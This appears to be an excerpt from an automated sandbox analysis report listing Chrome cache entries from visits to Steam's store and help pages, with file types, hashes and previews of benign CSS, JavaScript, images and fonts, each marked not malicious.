Preview:	.PNG........IHDR.............V2./....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:6843D610C12A11E4BED2BD54346121FF" xmpMM:DocumentID="xmp.did:6843D611C12A11E4BED2BD54346121FF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6843D60EC12A11E4BED2BD54346121FF" stRef:documentID="xmp.did:6843D60FC12A11E4BED2BD54346121FF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>..H.....IDATx.b\..4....J{..i....13).@......4).@.......).@@..w.q.)...~k..-@.O.&.....@l@.&.P..c@.L.&....9@<..f"110.b.w N..8.

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/footerLogo_valve_new.png
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (12659), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	12824
Entropy (8bit):	5.556602496534854
Encrypted:	false
SSDEEP:	192:+Ol7JG2AOVDFDlDFuDIbqkzdNqYAwuOVVTxHYr7p/vbZzhGyUf/oa4X8LZrBrt:+s9G2A4X3bqouOzxHYfp/vbZzhGIglp
MD5:	B91F2C20108DBCD846F874CB4A4BCB43
SHA1:	3E138968F2169404D0098C92AC4C402E8FABD3F6
SHA-256:	033DCFC29F556D3630EDA2BE01D960D23E798A208EC56BB8E171C3D206624EE7
SHA-512:	31E631538B82EB0438BA5CC67F1BDD14F71C78F661BE8CF8563C724220A93D183903254C511F425C0F4EDBF4AFE956A717F687B439DD4A7ABD7EB89E7DA7713B
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9224605";(()=>{"use strict";var e,t,n={661:(e,t,n)=>{n.d(t,{pR:()=>r,Vz:()=>i,nh:()=>l});var a,r,i,o=n(729);class s{m_ActiveInputId;m_ActiveInputTimeout;m_config;constructor(e){this.m_config=e}Reset(){this.m_ActiveInputId=void 0,null!=this.m_ActiveInputTimeout&&(clearInterval(this.m_ActiveInputTimeout),this.m_ActiveInputTimeout=void 0)}HandleInputButtonDown(e,t){if(this.m_ActiveInputId!==e&&null!=t){this.Reset(),this.m_ActiveInputId=e;const n=()=>{this.m_ActiveInputTimeout=window.setInterval((()=>{t()}),this.m_config.repeatInterval_ms)};null==this.m_config.firstRepeatInterval_ms\|\|this.m_config.firstRepeatInterval_ms===this.m_config.repeatInterval_ms?n():this.m_ActiveInputTimeout=window.setTimeout((()=>{t(),n()}),this.m_config.firstRepeatInterval_ms)}}}!function(e){e[e.None=0]="None",e[e.Horizontal=1]="Horizonta

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (361), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	57258
Entropy (8bit):	5.243366680566906
Encrypted:	false
SSDEEP:	768:kHHithZY2ucy8vQfVYvArYRaeNBJk0XHBkwQ+JOJSk3acbAHEvaSlEP04rn/xENj:of8JXNrhBcRTUEFwiKYfBn
MD5:	3D42397BCB312EC07D70AE0D68FBADDE
SHA1:	3AF248D34E6A31B3D3269C65505458D42372EF0B
SHA-256:	53961D66B24EF8CC16B6CB5CB249CDF311AA89B6AFC70F06A242FCCC3A4EFCD3
SHA-512:	F4C325A231B11CE6A3E2899367E081CD6AC2E7AC1469542414BA0E3B57DF5897DF51615E2AD0AB6559E6B38003FFDBFA533C6E5701D0BC2F40FAE80EB4332348
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/cart.css?v=PUI5e8sxLsB9&l=english
Preview:	/* CSS Document /....body.v6 {....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal /......}.....tooltip_q_ctn {.. background: rgba(255,255,255,0.4);.. color: white;.. border-radius: 10px;.. font-size: 11px;.. padding: 1px 5px 2px 5px;.. cursor: default;..}...tooltip_q_ctn:hover {.. background: rgba(255,255,255,0.5);..}....body.v6.checkout .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -50px;..}....body.v6.checkout_microtxn .page_header_ctn {...padding-bottom: 47px;...margin-bottom: -10px;..}....body.v6.cart_page h4 {.....font-family: "Motiva Sans", Sans-serif;....font-weight: normal; / normal */.......font-weight: normal;...color: #c7d5e0;..}....body.v6.login .rightcol h2 {...margin-top: 0px;..}..body.v6.login .rightcol .spotlight_block {...margin-bottom: 25px;..}....#checkout_review_cart_area {...margin-top: 56px;..}....#payment_info_tab .checkout_content .payment_info_form_area {...background: rgba( 0, 0, 0, 0.2 );...paddi

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 38x38, segment length 16, baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	1226
Entropy (8bit):	7.468952690767969
Encrypted:	false
SSDEEP:	24:O8zo0XxDuLHeOWXG4OZ7DAJuLHenX39ASwh6NFqsPq6qOcqiZcErExA:guERApjlcqiBrOA
MD5:	36C0E361B48289C116C417C67FCBA680
SHA1:	609F27278AA70697C13BF99F32C5A0248C381F9D
SHA-256:	3FB721D4F89AD130676CD39B48D40C66D2CF051D114606556D5334D74C3621E3
SHA-512:	362CA67D9555A05780A0BF4E8D33EC002656EF4538D2630AC52FCA104E478C759645F1201ECB0FD33D25094A351614286B7A43D242F0AADE48171651C4A133BC
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/578080/609f27278aa70697c13bf99f32c5a0248c381f9d.jpg
Preview:	......JFIF.....&.&.....C....................................................................C....................................................................... . ...............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......o....j....IfHc.\ov.8...R.j.b..+z.E\|!..<7.[......W...f.<e...M......z-JWl..W....x.LS.i..v..rIgz..I.PO.Yk%.o..n\|5.{...o.CN.\Z.......N...YN.!..u.....h......m4K.I.i...E......o..E.r.8..[....9cM{IToW.......\|g..k.%.!...;..9.....F..m.(.9'....uA.....>9.....a.4....v!S....p..W2.cF.x..!..;.<U<..xm.......Lg.Y..t.+x..2.._.CI......vVKm..9v....gf'.>.....C

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:Hwn:Qn
MD5:	245CFEBC82AAD67B56091706B257B8F2
SHA1:	3CCCF473C35B4BFB315DBDFCE178C8DEA221CA48
SHA-256:	F3AE194F6688889C81498563E2370B777721564EF13448F50206263370FB62B2
SHA-512:	B090014E41E1239A2C0E9F08F4BD3C36C6BCF86A61F30D9CF008B97D23892324F749B0E139E224F41BA7AC4D2A4E85939F486E2B4CF6B05B681F9D8BE5E9E5CB
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAlqpYuj_oK8HRIFDXzRwV0=?alt=proto
Preview:	CgkKBw180cFdGgA=

Chrome Cache Entry: 255

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	9318
Entropy (8bit):	5.299236226685305
Encrypted:	false
SSDEEP:	192:3mqlY8tyyVg9ynE4QzJ/kZYrzh9xdyYRfeB+R2ZavAAL7WDu:3VoQw7/6ueBzwvAALD
MD5:	B23A2EA37FB7DC6A317180ACB9640BBA
SHA1:	559826C6B73A59BCCF54F9034D7E8C43D03C091A
SHA-256:	23D2A8FBAA5A5F1F551B5D70440ADEE80FD519B52B3D6559CBBEA35296679E2F
SHA-512:	E946116847558894E42E26E6702B600531E85CD0DA91076E8AF2FB3FECE913F5FF4E8AA8744D2D43AFA58AB2A0289954726434946E158FC840C150F2A079F109
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/shared/javascript/dselect.js?v=sjouo3-33Gox
Preview:	..var g_ActiveDropLists = {};..var g_LastSelectHideTime = 0;..var g_fnGPOnClosingModalWindow = null;....$J(function() {...$J(document).on( 'keydown', HandleKeyDown );..});....function HandleMouseClick( e, key )..{.....if ( !g_ActiveDropLists[key] )....return;.....var $Trigger = $J('#'+key+'_trigger');...var $Droplist = $J('#'+key+'_droplist');.....var $Target = $J( e.target);...if ( //$Trigger.is( e.target ) \|\| $J.contains( $Trigger[0], e.target ) \|\|....$Droplist.is( e.target ) \|\| $J.contains( $Droplist[0], e.target ) )....return;......DSelectHide( key );..}....var TYPEAHEAD_TIMEOUT_MS = 750;..var g_timeLastCharEvent = 0;..var g_strTypeahead = '';....function HandleKeyDown( e )..{...var bSwallowEvent = false;...var keynum = e.which;.....if ( e.altKey \|\| e.ctrlKey )...{....// bail out now so the browser can do it's thing....return;...}.....var bCharEvent = false;...switch ( keynum )...{......case 40: ..case 38: ..case 13: ..case 9: ..case 34: ..case 33: ..case 36: ..case 35: ..case 27:

Chrome Cache Entry: 256

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (547)
Category:	downloaded
Size (bytes):	469790
Entropy (8bit):	5.084911175033798
Encrypted:	false
SSDEEP:	6144:zK8SyEGdEXdujYWUl/plq/pGlgFld1HmcI48VirY7IXtu2Y5W5ZbHtQTiTXu5bgs:fljHmcI4q5W5FHttCnuJq7CjhBK1
MD5:	C811575FD210AF968E09CAA681917B9B
SHA1:	0BF0FF43044448711B33453388C3A24D99E6CC9C
SHA-256:	D2F0522008BFF05C6434E48AC8F11F7464331436A4D5D96A14A058A81A75C82E
SHA-512:	D2234D9E8DCC96BCA55FAFB83BB327F87C29AE8433FC296C48BE3EF8C9A21A0A4305E14823E75416951EECD6221F56FBBB8C89D44B244A27BE7B6BEA310F2FD1
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/ui/1.11.3/jquery-ui.js
Preview:	/! jQuery UI - v1.11.3 - 2015-02-12. http://jqueryui.com.* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.js, effect-fold.js, effect-highlight.js, effect-puff.js, effect-pulsate.js, effect-scale.js, effect-shake.js, effect-size.js, effect-slide.js, effect-transfer.js, menu.js, progressbar.js, resizable.js, selectable.js, selectmenu.js, slider.js, sortable.js, spinner.js, tabs.js, tooltip.js.* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT /..(function( factory ) {..if ( typeof define === "function" && define.amd ) {....// AMD. Register as an anonymous module....define([ "jquery" ], factory );..} else {....// Browser globals...factory( jQuery );..}.}(function( $ ) {./!. * jQuery UI Core 1.11.3. * http://jqueryui.com. . Copyright jQuery Foundation and

Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2583
Entropy (8bit):	5.220707765680073
Encrypted:	false
SSDEEP:	48:y3/p1p6iBbbjR3mDuk5kSR3mDukywR3mDuktStR3mDukFXR3mDukRCR3mDuk50wZ:ip1p6eogNw/31DsvdQw3A+37A3Hw
MD5:	CDA2E61B850F83C7F1E889ACC6193596
SHA1:	59CD6B250C1D527FF51CB57293438181A835AC70
SHA-256:	C05268CFF95B46046975AF3D56923F05AA84766DE65F83DCCC52AC72A1B525CA
SHA-512:	64F2183288260A2E86EC5113E864A4584FD516EF119321756E24DA368F6F03169EC029A6426262423A090616B39BC532E408B4382206881EFFD4F0ECC3941796
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/css/motiva_sans.css?v=zaLmG4UPg8fx
Preview:	/.. Font: ..Motiva Sans.. URL: ..http://www.youworkforthem.com/product.php?sku=T2982.. Foundry: .Niramekko.. Foundry: .http://www.youworkforthem.com/designer/293/niramekko.. Copyright:.Copyright 2011 by Rodrigo Saiani. All rights reserved... Version: .1.0.. Created:.August 09, 2012.. License: .http://www.youworkforthem.com/font-license.. License: .The WebFont(s) listed in this document must follow the YouWorkForThem..... WebFont license rules. All other parties are strictly restricted..... from using the WebFonts(s) listed without a purchased license...... All details above must always remain unaltered and visible in your CSS... /....@font-face {...font-family: 'Motiva Sans';...src: url('https://help.steampowered.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015') format('truetype');...font-weight: normal;...font-style: normal;..}....@font-face {...font-family: 'Motiva Sans';...src: url('https://help.steampowered.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.015') format('tr

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3355
Entropy (8bit):	5.396115949174596
Encrypted:	false
SSDEEP:	48:jrE1CT8Pi/CCsj5x9cHcYVGwGnrGdrtjcd/UfxGD/CtByLF3vDD+FQyB8pCkP:IawCp8E/0Ec+ByBv+FQyCzP
MD5:	9AF8AAEF60A740E8062CCDA7EFE7C179
SHA1:	1D72FFFE2679D8E55F35C1CEEFA29261C55E0A43
SHA-256:	7173A15A85C666C409667810A53ED83FE73505988FF8496EE65C8EE03D683A6A
SHA-512:	349F5F3958A19BE9B83DE6A18F22786B0C9D79815ABA89F721EE4A2C2DA66098F24794AEA023D84E645F17BCB7A9A5E65EAC331C79530010AA08707329F32114
Malicious:	false
Reputation:	low
Preview:	var RSAPublicKey = function($modulus_hex, $encryptionExponent_hex) {...this.modulus = new BigInteger( $modulus_hex, 16);...this.encryptionExponent = new BigInteger( $encryptionExponent_hex, 16);..};....var Base64 = {...base64: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",...encode: function($input) {....if (!$input) {.....return false;....}....var $output = "";....var $chr1, $chr2, $chr3;....var $enc1, $enc2, $enc3, $enc4;....var $i = 0;....do {.....$chr1 = $input.charCodeAt($i++);.....$chr2 = $input.charCodeAt($i++);.....$chr3 = $input.charCodeAt($i++);.....$enc1 = $chr1 >> 2;.....$enc2 = (($chr1 & 3) << 4) \| ($chr2 >> 4);.....$enc3 = (($chr2 & 15) << 2) \| ($chr3 >> 6);.....$enc4 = $chr3 & 63;.....if (isNaN($chr2)) $enc3 = $enc4 = 64;.....else if (isNaN($chr3)) $enc4 = 64;.....$output += this.base64.charAt($enc1) + this.base64.charAt($enc2) + this.base64.charAt($enc3) + this.base64.charAt($enc4);....} while ($i < $input.length);....return $output;...},...decode:

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	3684
Entropy (8bit):	4.780503743341751
Encrypted:	false
SSDEEP:	96:CXQSfzclE2Bc4N/waCVAh+m8CE2n1HNBRjVO2PGPLYOgzypH6YB:WQAzSE2BB9/c1CEEtoFUOgzs6YB
MD5:	B7A7E43284E2FFE806AC1BC27C1F6A87
SHA1:	E8196489E2AE99EC6EB33995B5A3E108D6E44DE0
SHA-256:	C3A7C646A1305017F22423030CB5A12ACC9F96B64013DCEF7AEB80567B542CBB
SHA-512:	757E4F382A864CAC9F975220C28586F5EA415B2E2215375C1A47E011A9190FCD15313D399007539F150A6DF0378B8F2022AC88E995693AB03A9F5656BFE40832
Malicious:	false
Reputation:	low
URL:	https://community.cloudflare.steamstatic.com/public/shared/images/header/logo_steam.svg
Preview:	<?xml version="1.0" encoding="utf-8"?>.. Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->..<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">..<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"... width="355.666px" height="89.333px" viewBox="0 0 355.666 89.333" enable-background="new 0 0 355.666 89.333"... xml:space="preserve">..<g>...<path fill="#C5C3C0" d="M44.238,0.601C21,0.601,1.963,18.519,0.154,41.29l23.71,9.803c2.009-1.374,4.436-2.179,7.047-2.179....c0.234,0,0.467,0.008,0.698,0.021l10.544-15.283c0-0.073-0.001-0.144-0.001-0.216c0-9.199,7.483-16.683,16.683-16.683....c9.199,0,16.682,7.484,16.682,16.683c0,9.199-7.483,16.684-16.682,16.684c-0.127,0-0.253-0.003-0.379-0.006l-15.038,10.73....c0.008,0.195,0.015,0.394,0.015,0.592c0,6.906-5.617,12.522-12.522,12.522c-6.061,0-11.129-4.326-12.277-10.055L1.678,56.893....c5.25,18.5

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	22982
Entropy (8bit):	5.20146614382101
Encrypted:	false
SSDEEP:	384:/KPuGWFUU8B+9zarQKcediPyxalS8pVUqqv5oz2Et62RPAjvbB+zHAPLIJI:/KPuGWFUR+9OrQKcekPyxalfVTqv6I2C
MD5:	A0DE258794019F665DD387129D436FC3
SHA1:	3F1C502A7A70E5DE42A59584E0862840A7517F52
SHA-256:	143547B60902FEB651F75C61F8B4DB84F0395866C6F115C9502AAC5CFD2AAA09
SHA-512:	9729D3768295FE63E18979D85A8F2E5D6EB72B3D60579EDC1B9C5C9CE75E0A3985936EA3F5FD1FFBFACE6649FF29B8CA9752C4B09EAB52E7B8AD54098303AFD9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/account.css?v=P2WLI8B6ddJe&l=english
Preview:	...licenseRow, .transactionRow {...position: relative;...padding: 5px 14px;...border-bottom: 1px solid #000000;...line-height: 18px;..}.....licenseRow.even, .transactionRow.even {...background-color: rgba(0,0,0,0.2)..}.....licenseRow.odd, .transactionRow.odd {...background-color: rgba(0,0,0,0.1)..}.....licenseLegend, .transactionLegend {...background: #0197cf;...color: #fff;...font-size: 11px;...text-transform: uppercase;...padding: 2px 14px;..}.....licenseRowRight {...position: absolute;...right: 14px;..}.....transactionRowDate {...position: absolute;...left: 14px;..}.....transactionRowEvent {...position: absolute;...left: 451px;..}.....transactionRowPrice {...position: absolute;...right: 14px;..}.....transactionRowItems {...padding-left: 121px;..}.....transactionRowTitle {...padding-right: 162px;..}.....transactionRowItems .itemSubtext {...color: #626366;..}.....transactionRowName {...padding-top: 5px;...padding-bottom: 5px;...padding-left: 14px;...width: 45%;...border-bottom-width:

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	downloaded
Size (bytes):	551834
Entropy (8bit):	5.646059185430787
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzNDC2vPpD:ybYTZMgGopkAzsz1ciEU2d
MD5:	33AFF52B82A1DF246136E75500D93220
SHA1:	4675754451AF81F996EAB925923C31EF5115A9F4
SHA-256:	B5E8EC5D4DCC080657DEB2D004F65D974BF4EC9E9AA5D621E10749182FFF8731
SHA-512:	2E1BAAE95052737BDB3613A6165589643516A1F4811D19C2F037D426265AA5ADF3C70334C1106B1B0EEF779244389F0D7C8C52B4CD55FCE9BAB2E4FCB0642720
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansLight4.015;Plau;MotivaSa
Category:	downloaded
Size (bytes):	122660
Entropy (8bit):	6.047516179670634
Encrypted:	false
SSDEEP:	3072:XnN/O/ceJkGwg/MOAibD2hPfX4HYhDhudcvObkSafj9:9/O/ceJkGwg/MOAib6nX44NhIWOb8fh
MD5:	D45F521DBA72B19A4096691A165B1990
SHA1:	2A08728FBB9229ACCCBF907EFDF4091F9B9A232F
SHA-256:	6B7A3177485C193A2E80BE6269B6B12880E695A8B4349F49FCCF87F9205BADCC
